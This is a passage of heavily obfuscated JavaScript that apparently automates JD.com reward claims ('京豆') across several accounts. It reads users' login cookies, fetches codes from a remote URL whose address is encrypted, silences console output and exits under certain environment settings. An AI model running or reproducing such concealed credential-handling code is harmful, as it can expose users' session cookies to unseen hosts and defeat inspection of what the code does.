if(_0x57af8e&&_0x6bf9ec['replace'](/[kxHhQPQlqXPfNhpVb=]/g,'')===_0x57af8e){_0x2fc6b5[_0x5d6f5d](_0x583a8c);}}_0x2fc6b5[_0x5d6f5d](_0x2fc6b5[_0x58efc]());}return 0x884b3;};return _0x4c8823(++_0x29afab,_0x1746ff)>>_0x29afab^_0x1746ff;}(_0x5a5d,0x8d,0x8d00));var _0x1397=function(_0x7f172e,_0x2bea25){_0x7f172e=~~'0x'['concat'](_0x7f172e);var _0x16a3fc=_0x5a5d[_0x7f172e];if(_0x1397['FeOxoq']===undefined){(function(){var _0x5698bc=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x33f775='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5698bc['atob']||(_0x5698bc['atob']=function(_0x197cdc){var _0x5ae796=String(_0x197cdc)['replace'](/=+$/,'');for(var _0x45f8bc=0x0,_0x433ce8,_0x43ed2e,_0xf803b=0x0,_0x9c389='';_0x43ed2e=_0x5ae796['charAt'](_0xf803b++);~_0x43ed2e&&(_0x433ce8=_0x45f8bc%0x4?_0x433ce8*0x40+_0x43ed2e:_0x43ed2e,_0x45f8bc++%0x4)?_0x9c389+=String['fromCharCode'](0xff&_0x433ce8>>(-0x2*_0x45f8bc&0x6)):0x0){_0x43ed2e=_0x33f775['indexOf'](_0x43ed2e);}return _0x9c389;});}());var _0x204033=function(_0x56b1d8,_0x2bea25){var _0x4bc6c2=[],_0x48995f=0x0,_0x502b91,_0x51beb5='',_0x1230d8='';_0x56b1d8=atob(_0x56b1d8);for(var _0x28e75f=0x0,_0x2b9bfd=_0x56b1d8['length'];_0x28e75f<_0x2b9bfd;_0x28e75f++){_0x1230d8+='%'+('00'+_0x56b1d8['charCodeAt'](_0x28e75f)['toString'](0x10))['slice'](-0x2);}_0x56b1d8=decodeURIComponent(_0x1230d8);for(var _0x5b7169=0x0;_0x5b7169<0x100;_0x5b7169++){_0x4bc6c2[_0x5b7169]=_0x5b7169;}for(_0x5b7169=0x0;_0x5b7169<0x100;_0x5b7169++){_0x48995f=(_0x48995f+_0x4bc6c2[_0x5b7169]+_0x2bea25['charCodeAt'](_0x5b7169%_0x2bea25['length']))%0x100;_0x502b91=_0x4bc6c2[_0x5b7169];_0x4bc6c2[_0x5b7169]=_0x4bc6c2[_0x48995f];_0x4bc6c2[_0x48995f]=_0x502b91;}_0x5b7169=0x0;_0x48995f=0x0;for(var _0x6efad5=0x0;_0x6efad5<_0x56b1d8['length'];_0x6efad5++){_0x5b7169=(_0x5b7169+0x1)%0x100;_0x48995f=(_0x48995f+_0x4bc6c2[_0x5b7169])%0x100;_0x502b91=_0x4bc6c2[_0x5b7169];_0x4bc6c2[_0x5b7169]=_0x4bc6c2[_0x48995f];_0x4bc6c2[_0x48995f]=_0x502b91;_0x51beb5+=String['fromCharCode'](_0x56b1d8['charCodeAt'](_0x6efad5)^_0x4bc6c2[(_0x4bc6c2[_0x5b7169]+_0x4bc6c2[_0x48995f])%0x100]);}return _0x51beb5;};_0x1397['RkbMRX']=_0x204033;_0x1397['YxqOXC']={};_0x1397['FeOxoq']=!![];}var _0x2b1ddb=_0x1397['YxqOXC'][_0x7f172e];if(_0x2b1ddb===undefined){if(_0x1397['BIubXk']===undefined){_0x1397['BIubXk']=!![];}_0x16a3fc=_0x1397['RkbMRX'](_0x16a3fc,_0x2bea25);_0x1397['YxqOXC'][_0x7f172e]=_0x16a3fc;}else{_0x16a3fc=_0x2b1ddb;}return _0x16a3fc;};let _0xbb4a67='';let _0x446bc9=![];if($[_0x1397('0','(14x')]()){Object[_0x1397('1','00$W')](jdCookieNode)[_0x1397('2','!PYj')](_0x217481=>{cookiesArr[_0x1397('3','zhk0')](jdCookieNode[_0x217481]);});if(process[_0x1397('4','pjia')][_0x1397('5','xI6(')]&&process[_0x1397('6',')^(8')][_0x1397('7','yW]B')]===_0x1397('8','&b9Y'))console[_0x1397('9','aM3b')]=()=>{};if(JSON[_0x1397('a','*)8S')](process[_0x1397('b','f%nz')])[_0x1397('c','(Wgi')](_0x1397('d','3L)y'))>-0x1){process[_0x1397('e','^]tN')](0x0);}}else{cookiesArr=[$[_0x1397('f','&b9Y')](_0x1397('10','YBF&')),$[_0x1397('11','NDPd')](_0x1397('12','hMbH')),..._0x332046($[_0x1397('13','(Wgi')](_0x1397('14','f%nz'))||'[]')[_0x1397('15','zmkL')](_0x3bc589=>_0x3bc589[_0x1397('16','q&xS')])][_0x1397('17',')^(8')](_0x567536=>!!_0x567536);}const _0x5590e8=_0x1397('18','Ayq5');!(async()=>{var _0x5e628d={'alouW':function(_0x569fc1,_0x1ac30c){return _0x569fc1===_0x1ac30c;},'LrGow':_0x1397('19','CJqo'),'bVmqF':function(_0x248f05,_0x4be7c3){return _0x248f05>_0x4be7c3;},'WaejJ':_0x1397('1a','LiL9'),'mbQWp':function(_0x381899,_0x8f13b2){return _0x381899!=_0x8f13b2;},'KJXxO':_0x1397('1b','A#Us'),'bfaUq':_0x1397('1c','Kl@E'),'qKYqY':_0x1397('1d','3hCf'),'GXXSS':function(_0x8a752f,_0x595395){return _0x8a752f!==_0x595395;},'Bxsyo':_0x1397('1e','zhk0'),'Wveyq':_0x1397('1f','G89w'),'ohbdY':_0x1397('20','JPxi'),'GONLP':_0x1397('21','3L)y'),'jRXkh':function(_0x5b02fb){return _0x5b02fb();},'Pdzbc':function(_0x2c3202,_0x56fbcd){return _0x2c3202(_0x56fbcd);},'VzJpi':function(_0x3df52f,_0x2e4c9f){return _0x3df52f<_0x2e4c9f;},'aZqSV':function(_0x146a04,_0x2638c6){return _0x146a04%_0x2638c6;},'UKpxu':function(_0x4931a5,_0x2f1db2){return _0x4931a5+_0x2f1db2;},'zQriZ':function(_0x19b9e7,_0x1e0237){return _0x19b9e7===_0x1e0237;},'cCSCb':_0x1397('22','Ayq5'),'PjeEV':_0x1397('23','aM3b'),'FDllQ':_0x1397('24','zhk0'),'pHeAr':_0x1397('25','XgSw'),'zjdWh':function(_0x58d013,_0x58eb8f){return _0x58d013!==_0x58eb8f;},'fPbQg':_0x1397('26','Wzkm'),'IgbvN':_0x1397('27','N84B'),'lBqPv':function(_0x1dd8ce,_0x120d34){return _0x1dd8ce!==_0x120d34;},'WUKLV':_0x1397('28','aM3b'),'DYjSP':function(_0x34b913,_0x18fd4b){return _0x34b913(_0x18fd4b);},'BZJVi':function(_0x403684){return _0x403684();},'xUvCO':_0x1397('29','yW]B'),'SMfic':_0x1397('2a','xI6('),'MNAPj':function(_0xef9324,_0x3c3fe1){return _0xef9324/_0x3c3fe1;},'DQgUl':function(_0x797f95,_0x5bc778,_0x12c728){return _0x797f95(_0x5bc778,_0x12c728);},'ZLZrt':function(_0x435196,_0x1da6f8){return _0x435196<=_0x1da6f8;},'QITcD':function(_0x3970ba,_0x1d8b99,_0x47cd7b){return _0x3970ba(_0x1d8b99,_0x47cd7b);},'EKMom':function(_0x574823,_0x482681,_0xa5234a){return _0x574823(_0x482681,_0xa5234a);},'hDZtj':function(_0x189124,_0x226450){return _0x189124(_0x226450);},'rAfou':function(_0x164410,_0x58f719,_0x2bba09){return _0x164410(_0x58f719,_0x2bba09);},'hFSRt':function(_0x3e1921){return _0x3e1921();},'rJGro':_0x1397('2b','2sA7'),'Gcigb':_0x1397('2c','3hCf')};console[_0x1397('2d','NDPd')]('\x0a');if(!cookiesArr[0x0]){$[_0x1397('2e','Wzkm')]($[_0x1397('2f','xRQa')],_0x5e628d[_0x1397('30','[Jme')],_0x5e628d[_0x1397('31','N84B')],{'open-url':_0x5e628d[_0x1397('32','2sA7')]});return;}let _0x59b669='';if(!$[_0x1397('33','!ztH')]()&&$[_0x1397('34','b!pb')](_0x5e628d[_0x1397('35','2sA7')])){if(_0x5e628d[_0x1397('36','LiL9')](_0x5e628d[_0x1397('37','(14x')],_0x5e628d[_0x1397('38','Ayq5')])){_0x59b669=$[_0x1397('f','&b9Y')](_0x5e628d[_0x1397('39','^h3j')]);$[_0x1397('3a','*)8S')](_0x1397('3b','^h3j')+_0x59b669);}else{return!![];}}else{if(_0x5e628d[_0x1397('3c','b!pb')](_0x5e628d[_0x1397('3d','^h3j')],_0x5e628d[_0x1397('3e','2sA7')])){return code;}else{let _0x315c64=_0x5e628d[_0x1397('3f','zmkL')](_0x18f0f7);console[_0x1397('40','2sA7')](_0x1397('41','Wzkm'));_0x59b669=await _0x5e628d[_0x1397('42','&b9Y')](_0xd5e08a,_0x315c64);console[_0x1397('43',']PO1')](_0x1397('44','j1Vv'));}}if(!_0x59b669){$[_0x1397('45','xRQa')](_0x1397('46',')^(8'));return;}let _0x3f5147=_0x59b669[_0x1397('47','hx28')](';');_0x3f5147=_0x3f5147[_0x1397('48','CM6L')](_0x301d4f=>_0x1a043d(_0x301d4f));console[_0x1397('49','NB)(')](_0x1397('4a','Kl@E')+_0x3f5147+'\x0a');for(let _0x27f2ea of _0x3f5147){let _0xc92f0={};for(let _0x259425=0x0;_0x5e628d[_0x1397('4b','hx28')](_0x259425,0x18);_0x259425++){_0xc92f0[_0x5e628d[_0x1397('4c','xA72')](String,_0x259425)]=_0x27f2ea;}let _0x163d13=_0x5e628d[_0x1397('4d','2sA7')](_0x5e628d[_0x1397('4e','Wzkm')](new Date()[_0x1397('4f','JPxi')](),0x8),0x18);if(_0x5e628d[_0x1397('50','G89w')](new Date()[_0x1397('51','CJqo')](),0x3b)&&_0x446bc9){await _0x5e628d[_0x1397('52','A#Us')](_0x307112,0xea60);}if(_0xc92f0[_0x163d13]){if(_0x5e628d[_0x1397('53','hx28')](_0x5e628d[_0x1397('54','f%nz')],_0x5e628d[_0x1397('55','#Z$t')])){Object[_0x1397('56','G89w')](jdCookieNode)[_0x1397('57','#Z$t')](_0xa91bed=>{cookiesArr[_0x1397('58','NDPd')](jdCookieNode[_0xa91bed]);});if(process[_0x1397('59','aM3b')][_0x1397('5a','N84B')]&&_0x5e628d[_0x1397('5b','8D^#')](process[_0x1397('5c','^h3j')][_0x1397('5d','q&xS')],_0x5e628d[_0x1397('5e','yW]B')]))console[_0x1397('5f','pjia')]=()=>{};if(_0x5e628d[_0x1397('60','A#Us')](JSON[_0x1397('61','Ayq5')](process[_0x1397('62','d[PA')])[_0x1397('63','Ayq5')](_0x5e628d[_0x1397('64','2sA7')]),-0x1)){process[_0x1397('65','f%nz')](0x0);}}else{$[_0x1397('66','JPxi')]=_0xc92f0[_0x163d13];$[_0x1397('67','YBF&')](_0x1397('68','7Hqq')+_0x27f2ea+'\x0a');}}else{if(_0x5e628d[_0x1397('53','hx28')](_0x5e628d[_0x1397('69','d[PA')],_0x5e628d[_0x1397('6a','(14x')])){return _0x5e628d[_0x1397('6b','LiL9')](process[_0x1397('6c','JPxi')][_0x1397('6d','A#Us')],_0x5e628d[_0x1397('6e','7Hqq')]);}else{$[_0x1397('6f','3L)y')](_0x1397('70','CJqo'));return;}}for(let _0x584794=0x0;_0x5e628d[_0x1397('71','!PYj')](_0x584794,cookiesArr[_0x1397('72','&b9Y')]);_0x584794++){if(_0x5e628d[_0x1397('73','zhk0')](_0x5e628d[_0x1397('74','3hCf')],_0x5e628d[_0x1397('75','#Z$t')])){if(cookiesArr[_0x584794]){if(_0x5e628d[_0x1397('76','!PYj')](_0x5e628d[_0x1397('77','LiL9')],_0x5e628d[_0x1397('78','(Wgi')])){console[_0x1397('43',']PO1')](_0x1397('79','q&xS'));}else{cookie=cookiesArr[_0x584794];$[_0x1397('7a','[Jme')]=_0x5e628d[_0x1397('7b','d[PA')](decodeURIComponent,cookie[_0x1397('7c','xI6(')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x1397('7d','tXsZ')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x1397('7e','00$W')]=_0x5e628d[_0x1397('7f','XgSw')](_0x584794,0x1);$[_0x1397('80','Wzkm')]=!![];$[_0x1397('81','2&S]')]='';message='';await _0x5e628d[_0x1397('82','(Wgi')](_0x1fbe85);console[_0x1397('83','b!pb')](_0x1397('84','[Jme')+$[_0x1397('85','hx28')]+'】'+($[_0x1397('86','NDPd')]||$[_0x1397('87','pjia')])+_0x1397('88','Ayq5'));if(!$[_0x1397('89','xI6(')]){if(_0x5e628d[_0x1397('8a','b!pb')](_0x5e628d[_0x1397('8b','&b9Y')],_0x5e628d[_0x1397('8c','zmkL')])){$[_0x1397('8d','2sA7')]($[_0x1397('8e','N84B')],_0x1397('8f','^h3j'),_0x1397('90','q&xS')+$[_0x1397('91','2&S]')]+'\x20'+($[_0x1397('92','xI6(')]||$[_0x1397('93','00$W')])+_0x1397('94','#Z$t'),{'open-url':_0x5e628d[_0x1397('95','pjia')]});if($[_0x1397('96','XgSw')]()){await notify[_0x1397('97',')^(8')]($[_0x1397('98','tXsZ')]+_0x1397('99','xI6(')+$[_0x1397('9a','N84B')],_0x1397('9b','zhk0')+$[_0x1397('91','2&S]')]+'\x20'+$[_0x1397('9c','zmkL')]+_0x1397('9d','zmkL'));}continue;}else{id='';}}if(_0x446bc9&&_0x5e628d[_0x1397('9e','Kl@E')](_0x5e628d[_0x1397('9f','hMbH')](_0x584794,_0x5e628d[_0x1397('a0','XgSw')](_0x341ba3,0xf,0x14)),0x1)&&_0x5e628d[_0x1397('a1','#Z$t')](_0x5e628d[_0x1397('a2','3hCf')](_0x341ba3,0x1,0x64),_0x5e628d[_0x1397('a3','(14x')](_0x341ba3,0xa,0x14))){_0x5e628d[_0x1397('a4','NB)(')](_0x307112,_0x5e628d[_0x1397('a5','^]tN')](_0x341ba3,0xfa,0x1f4));$[_0x1397('a6','zhk0')](_0x1397('a7','pjia'));continue;}await _0x5e628d[_0x1397('a8','hx28')](_0x2410a9);}}}else{$[_0x1397('a9','f%nz')](_0x1397('aa','2&S]'));return;}}}if(_0xbb4a67&&_0x5e628d[_0x1397('ab','7Hqq')](_0x269e3c)){if(_0x5e628d[_0x1397('ac','(14x')](_0x5e628d[_0x1397('ad','b!pb')],_0x5e628d[_0x1397('ae','q&xS')])){if($[_0x1397('af','Wzkm')]())await notify[_0x1397('b0','tXsZ')](''+$[_0x1397('b1','yW]B')],''+_0xbb4a67);$[_0x1397('b2','hx28')]($[_0x1397('b3','*)8S')],'',_0xbb4a67);}else{$[_0x1397('b4','j1Vv')](e,resp);}}})()[_0x1397('b5','(14x')](_0x507ec7=>{$[_0x1397('b6','d[PA')]('','❌\x20'+$[_0x1397('b7','(14x')]+_0x1397('b8','aM3b')+_0x507ec7+'!','');})[_0x1397('b9','Ayq5')](()=>{$[_0x1397('ba','zhk0')]();});function _0x307112(_0x4af462){return new Promise(_0x3f876c=>setTimeout(_0x3f876c,_0x4af462));}function _0x1a043d(_0xcc6b20){var _0x15df47={'iDihq':function(_0x276535,_0x3ddffc){return _0x276535!=_0x3ddffc;},'SKTTt':function(_0x14b4ba,_0x54e0d5){return _0x14b4ba<_0x54e0d5;},'vlADX':function(_0x3fb2b1,_0x4d8dc4){return _0x3fb2b1+_0x4d8dc4;},'SMsmT':function(_0x4f5212,_0x59db28,_0x309760){return _0x4f5212(_0x59db28,_0x309760);}};if(_0x15df47[_0x1397('bb','#Z$t')](_0xcc6b20[_0x1397('bc','xI6(')]('-'),-0x1)){_0x446bc9=!![];let _0x575a72=_0xcc6b20[_0x1397('bd','7Hqq')]()[_0x1397('be','xI6(')](/-/g,'');var _0x28b1a6=_0x575a72[_0x1397('bf','!ztH')]('')[_0x1397('c0','f%nz')]()[_0x1397('c1','3hCf')]('');var _0xa04d18=_0x28b1a6[_0x1397('c2','YBF&')];var _0x44ea34;var _0x33da5f=[];for(var _0x3a877b=0x0;_0x15df47[_0x1397('c3','!ztH')](_0x3a877b,_0xa04d18);_0x3a877b=_0x15df47[_0x1397('c4','j1Vv')](_0x3a877b,0x2)){_0x44ea34=_0x15df47[_0x1397('c5',')^(8')](parseInt,_0x28b1a6[_0x1397('c6','2sA7')](_0x3a877b,0x2),0x10);_0x33da5f[_0x1397('c7','7Hqq')](String[_0x1397('c8',']PO1')](_0x44ea34));}return _0x33da5f[_0x1397('c9','NB)(')]('')[_0x1397('ca','!ztH')](/#/g,'');}else{return _0xcc6b20;}}function _0x341ba3(_0x2a4efe,_0x2e4045){var _0x2992f1={'fIAlr':function(_0x1c337e,_0xa7ffba){return _0x1c337e+_0xa7ffba;},'asCHD':function(_0x28b0f1,_0x357233){return _0x28b0f1*_0x357233;},'Bcsyx':function(_0x1f6c8d,_0x179cb8){return _0x1f6c8d-_0x179cb8;}};return _0x2992f1[_0x1397('cb','&b9Y')](Math[_0x1397('cc','xA72')](_0x2992f1[_0x1397('cd','3hCf')](Math[_0x1397('ce','(Wgi')](),_0x2992f1[_0x1397('cf','3hCf')](_0x2e4045,_0x2a4efe))),_0x2a4efe);}function _0x2410a9(){var _0x1adb95={'FzwLe':function(_0x439766,_0x1b5b5b){return _0x439766(_0x1b5b5b);},'okPpz':function(_0x2c0a4f,_0x632a12){return _0x2c0a4f==_0x632a12;},'xAAQz':_0x1397('d0','q&xS'),'PIoVl':function(_0x33b4ba,_0x4d9ae0){return _0x33b4ba!=_0x4d9ae0;},'FnoTD':_0x1397('d1','8D^#'),'taZuE':_0x1397('d2','tXsZ'),'LusEm':function(_0x41b058,_0x272b15){return _0x41b058!==_0x272b15;},'waPlB':_0x1397('d3','[Jme'),'DvjTR':_0x1397('d4','tXsZ'),'RGijn':function(_0x810b3c,_0x5c7054){return _0x810b3c===_0x5c7054;},'NaobN':_0x1397('d5','xA72'),'kuuui':_0x1397('d6','NB)('),'TOvkL':function(_0x490d30,_0x2dd090){return _0x490d30(_0x2dd090);},'VRgzN':function(_0x2ff3c4,_0x45bcd6){return _0x2ff3c4===_0x45bcd6;},'ZAUkX':_0x1397('d7','7Hqq'),'vonlW':_0x1397('d8','&b9Y'),'GZUIA':_0x1397('d9','8D^#'),'YRUSn':function(_0x52364c,_0x33c7af){return _0x52364c!==_0x33c7af;},'blYkZ':_0x1397('da','A#Us'),'CrucZ':_0x1397('db','N84B'),'rnhOI':function(_0x1c268a){return _0x1c268a();},'LbNyM':function(_0x554f41,_0x3929ae,_0x26901e){return _0x554f41(_0x3929ae,_0x26901e);},'ajTZb':_0x1397('dc','(14x')};return new Promise(_0x13617a=>{var _0x301ad8={'KWNdt':function(_0x371766,_0x914a55){return _0x1adb95[_0x1397('dd',')^(8')](_0x371766,_0x914a55);},'kADZh':function(_0x2a2494,_0x2e08fd){return _0x1adb95[_0x1397('de','yW]B')](_0x2a2494,_0x2e08fd);},'aUeLg':_0x1adb95[_0x1397('df','XgSw')],'UskNK':function(_0x26f626,_0x26b7ea){return _0x1adb95[_0x1397('e0','(14x')](_0x26f626,_0x26b7ea);},'tRMud':_0x1adb95[_0x1397('e1','Ayq5')],'SAzPN':_0x1adb95[_0x1397('e2','2sA7')],'XXlqn':function(_0x3cc189,_0x307b70){return _0x1adb95[_0x1397('e3','Kl@E')](_0x3cc189,_0x307b70);},'wNvNz':_0x1adb95[_0x1397('e4','N84B')],'PwnxS':function(_0x4621c7,_0x57ba37){return _0x1adb95[_0x1397('e5','7Hqq')](_0x4621c7,_0x57ba37);},'lgsMT':_0x1adb95[_0x1397('e6','7Hqq')],'cxrKk':function(_0x430477,_0xd6e21d){return _0x1adb95[_0x1397('e7','xA72')](_0x430477,_0xd6e21d);},'zDUBq':_0x1adb95[_0x1397('e8','A#Us')],'JYSlO':_0x1adb95[_0x1397('e9','b!pb')],'ZkBvT':function(_0x473e31,_0x285fca){return _0x1adb95[_0x1397('ea','hx28')](_0x473e31,_0x285fca);},'xFifS':function(_0x489bc8,_0x4add91){return _0x1adb95[_0x1397('eb','0zsU')](_0x489bc8,_0x4add91);},'xEpvS':function(_0x2f8070,_0x3939d3){return _0x1adb95[_0x1397('ec','CM6L')](_0x2f8070,_0x3939d3);},'VPKCo':_0x1adb95[_0x1397('ed','A#Us')],'rFIcw':_0x1adb95[_0x1397('ee','f%nz')],'fWwxe':_0x1adb95[_0x1397('ef','d[PA')],'GUlAW':function(_0x1636a1,_0x106e22){return _0x1adb95[_0x1397('f0','^]tN')](_0x1636a1,_0x106e22);},'Qyvok':_0x1adb95[_0x1397('f1','hx28')],'qspaG':_0x1adb95[_0x1397('f2','[Jme')],'MymJP':function(_0x299030){return _0x1adb95[_0x1397('f3','7Hqq')](_0x299030);}};const _0x128b0c={'actId':$[_0x1397('f4','hx28')]};$[_0x1397('f5',']PO1')](_0x1adb95[_0x1397('f6','[Jme')](_0x4a7dc3,_0x1adb95[_0x1397('f7','!PYj')],_0x128b0c),(_0x4a4fc1,_0x3bda54,_0x46fecc)=>{var _0x2c27bc={'FxIvM':function(_0x226741,_0x2276dc){return _0x301ad8[_0x1397('f8','#Z$t')](_0x226741,_0x2276dc);},'ULglZ':function(_0x22f20c,_0x31a381){return _0x301ad8[_0x1397('f9','^]tN')](_0x22f20c,_0x31a381);},'WhgWN':_0x301ad8[_0x1397('fa',')^(8')],'mtOVC':function(_0x44ce2d,_0x469f3c){return _0x301ad8[_0x1397('fb','2sA7')](_0x44ce2d,_0x469f3c);},'wcIIX':_0x301ad8[_0x1397('fc','00$W')],'PcTmL':_0x301ad8[_0x1397('fd','^]tN')]};if(_0x301ad8[_0x1397('fe','q&xS')](_0x301ad8[_0x1397('ff','zhk0')],_0x301ad8[_0x1397('100','2sA7')])){ids[_0x2c27bc[_0x1397('101','d[PA')](String,i)]=codeItem;}else{try{if(_0x301ad8[_0x1397('102','YBF&')](_0x301ad8[_0x1397('103',']PO1')],_0x301ad8[_0x1397('104','[Jme')])){if(_0x2c27bc[_0x1397('105','f%nz')](typeof JSON[_0x1397('106','xRQa')](_0x46fecc),_0x2c27bc[_0x1397('107','!ztH')])){return!![];}}else{if(_0x4a4fc1){console[_0x1397('108','00$W')](''+JSON[_0x1397('109','d[PA')](_0x4a4fc1));console[_0x1397('10a','!ztH')]($[_0x1397('b7','(14x')]+_0x1397('10b','3hCf'));}else{if(_0x301ad8[_0x1397('10c','XgSw')](_0x301ad8[_0x1397('10d','hMbH')],_0x301ad8[_0x1397('10e','pjia')])){if($[_0x1397('10f','*)8S')]()&&process[_0x1397('110','(Wgi')][_0x1397('111','[Jme')]){return _0x2c27bc[_0x1397('112','JPxi')](process[_0x1397('113','j1Vv')][_0x1397('114','CM6L')],_0x2c27bc[_0x1397('115','&b9Y')]);}else if($[_0x1397('116','G89w')](_0x2c27bc[_0x1397('117','YBF&')])){return _0x2c27bc[_0x1397('118','NB)(')]($[_0x1397('13','(Wgi')](_0x2c27bc[_0x1397('119','q&xS')]),_0x2c27bc[_0x1397('11a','zmkL')]);}return!![];}else{if(_0x301ad8[_0x1397('11b','hx28')](_0x2a6b3c,_0x46fecc)){_0x46fecc=JSON[_0x1397('11c','A#Us')](_0x46fecc);if(_0x301ad8[_0x1397('11d','hMbH')](_0x46fecc[_0x1397('11e','XgSw')],'0')){console[_0x1397('40','2sA7')](_0x1397('11f','Kl@E')+JSON[_0x1397('120','aM3b')](_0x46fecc[_0x1397('121','tXsZ')]));message+=_0x1397('122','d[PA')+_0x46fecc[_0x1397('123','pjia')][_0x1397('124','hx28')][0x0][_0x1397('125','CJqo')]+'京豆';_0xbb4a67+=_0x1397('126','^h3j')+$[_0x1397('127','xRQa')]+'-'+($[_0x1397('128','G89w')]||$[_0x1397('129','!ztH')])+_0x1397('12a','tXsZ')+_0x46fecc[_0x1397('12b','N84B')][_0x1397('12c',')^(8')][0x0][_0x1397('12d','zmkL')]+'京豆'+(_0x301ad8[_0x1397('12e','3L)y')]($[_0x1397('12f','&b9Y')],cookiesArr[_0x1397('c2','YBF&')])?'\x0a\x0a':'\x0a\x0a');}else if(_0x301ad8[_0x1397('130','JPxi')](_0x46fecc[_0x1397('131','xA72')],'8')){if(_0x301ad8[_0x1397('132','zmkL')](_0x301ad8[_0x1397('133','hx28')],_0x301ad8[_0x1397('134','YBF&')])){console[_0x1397('135','2&S]')](_0x1397('136','G89w'));message+=_0x1397('137','G89w');}else{$[_0x1397('138','7Hqq')]=$[_0x1397('139','&b9Y')];}}else{if(_0x301ad8[_0x1397('13a','0zsU')](_0x301ad8[_0x1397('13b','(Wgi')],_0x301ad8[_0x1397('13c','Wzkm')])){console[_0x1397('13d','CM6L')](_0x1397('13e','NB)(')+JSON[_0x1397('a','*)8S')](_0x46fecc));}else{console[_0x1397('13f','3hCf')](e);console[_0x1397('140','hx28')](_0x1397('141','tXsZ'));return![];}}}}}}}catch(_0x5e394f){$[_0x1397('142','^h3j')](_0x5e394f,_0x3bda54);}finally{if(_0x301ad8[_0x1397('143','aM3b')](_0x301ad8[_0x1397('144','pjia')],_0x301ad8[_0x1397('145','YBF&')])){_0x301ad8[_0x1397('146','j1Vv')](_0x13617a);}else{console[_0x1397('13d','CM6L')](''+JSON[_0x1397('61','Ayq5')](_0x4a4fc1));console[_0x1397('147','xA72')]($[_0x1397('148','Wzkm')]+_0x1397('149',')^(8'));}}}});});}function _0xd5e08a(_0x18c5c0){var _0x4732d2={'KTzQB':function(_0x2d8e5d,_0x5ec218){return _0x2d8e5d!==_0x5ec218;},'gUSjS':_0x1397('14a','zmkL'),'cxwnQ':function(_0x5164fc,_0x5b2b15){return _0x5164fc==_0x5b2b15;},'PrhME':function(_0x37ea67,_0x25d211){return _0x37ea67===_0x25d211;},'JTEKr':_0x1397('14b',')^(8'),'GCUJi':_0x1397('14c','hx28'),'wJZji':function(_0x38a198,_0x5ca717){return _0x38a198(_0x5ca717);},'AwtCg':_0x1397('14d','2&S]'),'UCDyI':_0x1397('14e','yW]B')};return new Promise(_0x244d32=>{var _0x24ad9d={'IekPP':_0x4732d2[_0x1397('14f','Kl@E')],'zaKRM':_0x4732d2[_0x1397('150','!ztH')]};let _0x1292d3='';$[_0x1397('151','Kl@E')]({'url':_0x18c5c0},async(_0x1882ea,_0x5b022e,_0x450df3)=>{if(_0x4732d2[_0x1397('152','xI6(')](_0x4732d2[_0x1397('153','&b9Y')],_0x4732d2[_0x1397('154',')^(8')])){$[_0x1397('155','JPxi')]($[_0x1397('156','aM3b')],_0x24ad9d[_0x1397('157','xA72')],_0x24ad9d[_0x1397('158','xI6(')],{'open-url':_0x24ad9d[_0x1397('159','[Jme')]});return;}else{try{if(_0x1882ea){if(_0x4732d2[_0x1397('15a','pjia')](_0x5b022e[_0x1397('15b','CJqo')],0x202)){console[_0x1397('15c','JPxi')](_0x1397('15d','CM6L'));}else{console[_0x1397('45','xRQa')](''+JSON[_0x1397('15e','Kl@E')](_0x1882ea));}_0x1292d3='';}else{if(!!_0x450df3){_0x1292d3=_0x450df3[_0x1397('ca','!ztH')](/[\r\n]/g,'');}else{_0x1292d3='';}}}catch(_0x410488){if(_0x4732d2[_0x1397('15f','!ztH')](_0x4732d2[_0x1397('160','0zsU')],_0x4732d2[_0x1397('161','0zsU')])){return JSON[_0x1397('162',')^(8')](str);}else{$[_0x1397('163','#Z$t')](_0x410488,_0x5b022e);}}finally{_0x4732d2[_0x1397('164','d[PA')](_0x244d32,_0x1292d3);}}});});}function _0x18f0f7(){var _0x3db101={'wWfMt':_0x1397('165','2&S]'),'qySTa':_0x1397('166','CM6L'),'aQrZm':function(_0xbeeef,_0xe528be){return _0xbeeef===_0xe528be;},'ahHAh':_0x1397('167','YBF&'),'iOKJJ':_0x1397('168','(14x')};let _0x372a88=_0x3db101[_0x1397('169','aM3b')];if($[_0x1397('16a','^]tN')]()&&process[_0x1397('16b','*)8S')][_0x1397('16c','3L)y')]){if(_0x3db101[_0x1397('16d','(14x')](_0x3db101[_0x1397('16e','00$W')],_0x3db101[_0x1397('16f','XgSw')])){let _0x558759=_0x3db101[_0x1397('170','JPxi')];if($[_0x1397('171','G89w')]()&&process[_0x1397('5c','^h3j')][_0x1397('172','Wzkm')]){_0x558759=process[_0x1397('173','0zsU')][_0x1397('174','pjia')];}else if($[_0x1397('175','CM6L')](_0x3db101[_0x1397('176','LiL9')])){_0x558759=$[_0x1397('177','A#Us')](_0x3db101[_0x1397('178','b!pb')]);}return _0x558759;}else{_0x372a88=process[_0x1397('59','aM3b')][_0x1397('179','Ayq5')];}}else if($[_0x1397('17a','!PYj')](_0x3db101[_0x1397('17b',')^(8')])){_0x372a88=$[_0x1397('17c','aM3b')](_0x3db101[_0x1397('17d','[Jme')]);}return _0x372a88;}function _0x269e3c(){var _0x5268e0={'XmHBV':function(_0x16b7ff,_0x4c7a9d){return _0x16b7ff(_0x4c7a9d);},'HkUPH':function(_0x432534,_0x4c68b1){return _0x432534+_0x4c68b1;},'vhMMx':function(_0x37731c,_0x31ab00){return _0x37731c+_0x31ab00;},'CYgEo':function(_0x4b300f,_0x5ccce0){return _0x4b300f*_0x5ccce0;},'FKavl':function(_0x1154b7,_0x3463ed){return _0x1154b7*_0x3463ed;},'OJqVy':function(_0x5d21ea,_0x105eef){return _0x5d21ea*_0x105eef;},'WnvmA':_0x1397('17e','#Z$t'),'PwaZc':_0x1397('17f','7Hqq'),'sllAS':_0x1397('180','f%nz'),'rMPjD':_0x1397('181','XgSw'),'dXsJr':_0x1397('182','3hCf'),'EDrvi':_0x1397('183','(14x'),'jKYjR':_0x1397('184','CJqo'),'CmFVb':function(_0xb7507,_0x37262f){return _0xb7507!==_0x37262f;},'tQXXT':_0x1397('185','zhk0'),'FMpqU':function(_0x2c3b84,_0x2dc77b){return _0x2c3b84!=_0x2dc77b;},'nwZSi':_0x1397('186','G89w'),'oSuYL':_0x1397('187','CJqo'),'yQNab':function(_0x350a8f,_0x196614){return 